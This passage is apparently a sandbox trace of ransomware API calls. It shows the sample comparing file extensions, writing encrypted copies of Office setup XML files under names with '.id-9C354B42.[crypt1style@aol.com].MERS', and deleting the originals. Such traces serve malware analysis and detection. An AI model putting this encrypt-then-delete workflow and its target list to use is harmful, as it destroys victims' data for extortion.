Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0043.999] lstrlenW (lpString=".doc") returned 4 [0043.999] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString=".docx") returned 5 [0043.999] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.999] lstrlenW (lpString=".pdf") returned 4 [0043.999] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString=".xls") returned 4 [0043.999] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString=".xlsx") returned 5 [0043.999] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.999] lstrlenW (lpString=".ppt") returned 4 [0043.999] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0043.999] lstrlenW (lpString=".zip") returned 4 [0043.999] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.999] lstrlenW (lpString=".rar") returned 4 [0043.999] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString=".bz2") returned 4 [0043.999] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString=".7z") returned 3 [0043.999] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0043.999] lstrlenW (lpString=".dbf") returned 4 [0043.999] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0043.999] lstrlenW (lpString=".1cd") returned 4 [0043.999] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0043.999] lstrlenW (lpString=".jpg") returned 4 [0043.999] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0044.000] lstrlenW (lpString=".doc") returned 4 [0044.000] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString=".docx") returned 5 [0044.000] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.000] lstrlenW (lpString=".pdf") returned 4 [0044.000] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString=".xls") returned 4 [0044.000] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString=".xlsx") returned 5 [0044.000] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.000] lstrlenW (lpString=".ppt") returned 4 [0044.000] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0044.000] lstrlenW (lpString=".zip") returned 4 [0044.000] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.000] lstrlenW (lpString=".rar") returned 4 [0044.000] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString=".bz2") returned 4 [0044.000] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString=".7z") returned 3 [0044.000] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0044.000] lstrlenW (lpString=".dbf") returned 4 [0044.000] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0044.000] lstrlenW (lpString=".1cd") returned 4 [0044.000] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0044.000] lstrlenW (lpString=".jpg") returned 4 [0044.000] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.000] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.000] lstrlenW (lpString="SETUP.XML") returned 9 [0044.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.001] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1872) returned 1 [0044.001] CloseHandle (hObject=0x1a4) returned 1 [0044.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0044.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.001] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.001] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0044.001] GetLastError () returned 0x0 [0044.002] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x750, lpOverlapped=0x0) returned 1 [0044.226] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x760, lpOverlapped=0x0) returned 1 [0044.227] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.227] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.227] SetEndOfFile (hFile=0x1d4) returned 1 [0044.227] CloseHandle (hObject=0x1d4) returned 1 [0044.227] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.227] SetEndOfFile (hFile=0x1a4) returned 1 [0044.228] CloseHandle (hObject=0x1a4) returned 1 [0044.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.228] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0044.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.229] lstrlenW (lpString=".doc") returned 4 [0044.229] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString=".docx") returned 5 [0044.229] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.229] lstrlenW (lpString=".pdf") returned 4 [0044.229] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString=".xls") returned 4 [0044.229] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString=".xlsx") returned 5 [0044.229] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.229] lstrlenW (lpString=".ppt") returned 4 [0044.229] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.229] lstrlenW (lpString=".zip") returned 4 [0044.229] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.229] lstrlenW (lpString=".rar") returned 4 [0044.229] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString=".bz2") returned 4 [0044.229] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString=".7z") returned 3 [0044.229] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.229] lstrlenW (lpString=".dbf") returned 4 [0044.229] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.229] lstrlenW (lpString=".1cd") returned 4 [0044.229] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.230] lstrlenW (lpString=".jpg") returned 4 [0044.230] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.230] lstrlenW (lpString=".doc") returned 4 [0044.230] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString=".docx") returned 5 [0044.230] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.230] lstrlenW (lpString=".pdf") returned 4 [0044.230] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString=".xls") returned 4 [0044.230] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString=".xlsx") returned 5 [0044.230] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.230] lstrlenW (lpString=".ppt") returned 4 [0044.230] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.230] lstrlenW (lpString=".zip") returned 4 [0044.230] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.230] lstrlenW (lpString=".rar") returned 4 [0044.230] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString=".bz2") returned 4 [0044.230] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString=".7z") returned 3 [0044.230] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.230] lstrlenW (lpString=".dbf") returned 4 [0044.230] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.230] lstrlenW (lpString=".1cd") returned 4 [0044.230] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0044.231] lstrlenW (lpString=".jpg") returned 4 [0044.231] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.231] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.231] lstrlenW (lpString="Proof.XML") returned 9 [0044.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.340] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1457) returned 1 [0044.340] CloseHandle (hObject=0x200) returned 1 [0044.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0044.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.341] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.341] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0044.341] GetLastError () returned 0x0 [0044.341] ReadFile (in: hFile=0x200, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0044.429] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0044.430] ReadFile (in: hFile=0x200, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.430] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.430] SetEndOfFile (hFile=0x1a8) returned 1 [0044.430] CloseHandle (hObject=0x1a8) returned 1 [0044.430] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.430] SetEndOfFile (hFile=0x200) returned 1 [0044.431] CloseHandle (hObject=0x200) returned 1 [0044.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.431] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0044.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.431] lstrlenW (lpString=".doc") returned 4 [0044.431] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.431] lstrlenW (lpString=".docx") returned 5 [0044.431] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0044.431] lstrlenW (lpString=".pdf") returned 4 [0044.431] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.431] lstrlenW (lpString=".xls") returned 4 [0044.431] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.431] lstrlenW (lpString=".xlsx") returned 5 [0044.431] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0044.432] lstrlenW (lpString=".ppt") returned 4 [0044.432] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.432] lstrlenW (lpString=".zip") returned 4 [0044.432] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.432] lstrlenW (lpString=".rar") returned 4 [0044.432] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString=".bz2") returned 4 [0044.432] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString=".7z") returned 3 [0044.432] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.432] lstrlenW (lpString=".dbf") returned 4 [0044.432] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.432] lstrlenW (lpString=".1cd") returned 4 [0044.432] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.432] lstrlenW (lpString=".jpg") returned 4 [0044.432] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.432] lstrlenW (lpString=".doc") returned 4 [0044.432] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString=".docx") returned 5 [0044.432] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0044.432] lstrlenW (lpString=".pdf") returned 4 [0044.432] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString=".xls") returned 4 [0044.432] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.432] lstrlenW (lpString=".xlsx") returned 5 [0044.432] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0044.432] lstrlenW (lpString=".ppt") returned 4 [0044.433] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.433] lstrlenW (lpString=".zip") returned 4 [0044.433] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.433] lstrlenW (lpString=".rar") returned 4 [0044.433] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.433] lstrlenW (lpString=".bz2") returned 4 [0044.433] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.433] lstrlenW (lpString=".7z") returned 3 [0044.433] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.433] lstrlenW (lpString=".dbf") returned 4 [0044.433] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.433] lstrlenW (lpString=".1cd") returned 4 [0044.433] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0044.433] lstrlenW (lpString=".jpg") returned 4 [0044.433] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.433] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.433] lstrlenW (lpString="SETUP.XML") returned 9 [0044.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.434] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1608) returned 1 [0044.434] CloseHandle (hObject=0x200) returned 1 [0044.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0044.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.434] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.434] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0044.435] GetLastError () returned 0x0 [0044.435] ReadFile (in: hFile=0x200, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x648, lpOverlapped=0x0) returned 1 [0044.519] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x650, lpOverlapped=0x0) returned 1 [0044.520] ReadFile (in: hFile=0x200, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.520] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 